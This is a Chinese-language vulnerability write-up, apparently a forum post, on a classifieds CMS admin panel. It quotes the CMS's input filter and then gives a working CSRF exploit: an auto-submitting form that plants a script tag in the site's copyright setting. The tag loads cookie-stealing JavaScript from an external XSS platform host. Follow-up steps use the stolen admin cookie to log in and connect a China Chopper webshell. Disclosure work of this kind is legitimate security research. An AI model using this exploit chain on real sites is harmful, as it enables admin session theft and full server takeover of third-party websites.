0x01漏洞成因:后台无csrf防御,首先,看下全局过滤。全局过滤目录结构admin/index.php-admin/global.php-inc/common.inc.php这里是重点 $_POST=Add_S($_POST); $_GET=Add_S($_GET); $_COOKIE=Add_S($_COOKIE); function Add_S($array){//过滤 foreach($array as $key=>$value){ @eregi("['\\\"]+",$key) && die('ERROR KEY!'); if(!is_array($value)){ $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //将eval替换为eva l !get_magic_quotes_gpc() && $value=addslashes($value);//转义 $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; } 综上:post,get,cookie过来的参数进行过滤,但是没有过滤xss过滤。对eval进行替换但是还有别的函数有同样功能,还是可以插入一句话进去 csrf:后台-系统功能-全局参数设置 0x02漏洞复现:利用脚本:1.php <form action="http://localhost/fenlei1/admin/index.php?lfj=center&action=config" method="post" name="c"> <input type="text" name="webdbs[copyright]" value="</textarea><script src=http://webxss.cn/0WQKmQ?1454402453></script><textarea>"/> </form><script> document.c.submit(); </script> 诱骗管理访问其地址 此处可用短文件生成 造成 CSRF 插入网页底部版权信息 我们用管理员身份进入后台-系统功能-全局参数设置 可看到我们的payload 访问XSS平台出现cookie 登陆后台 点击服务器信息可以看到网站绝对路径 系统功能-数据库工具 菜刀连接 |
Powered by Discuz! X3.2
© 2001-2013 Comsenz Inc.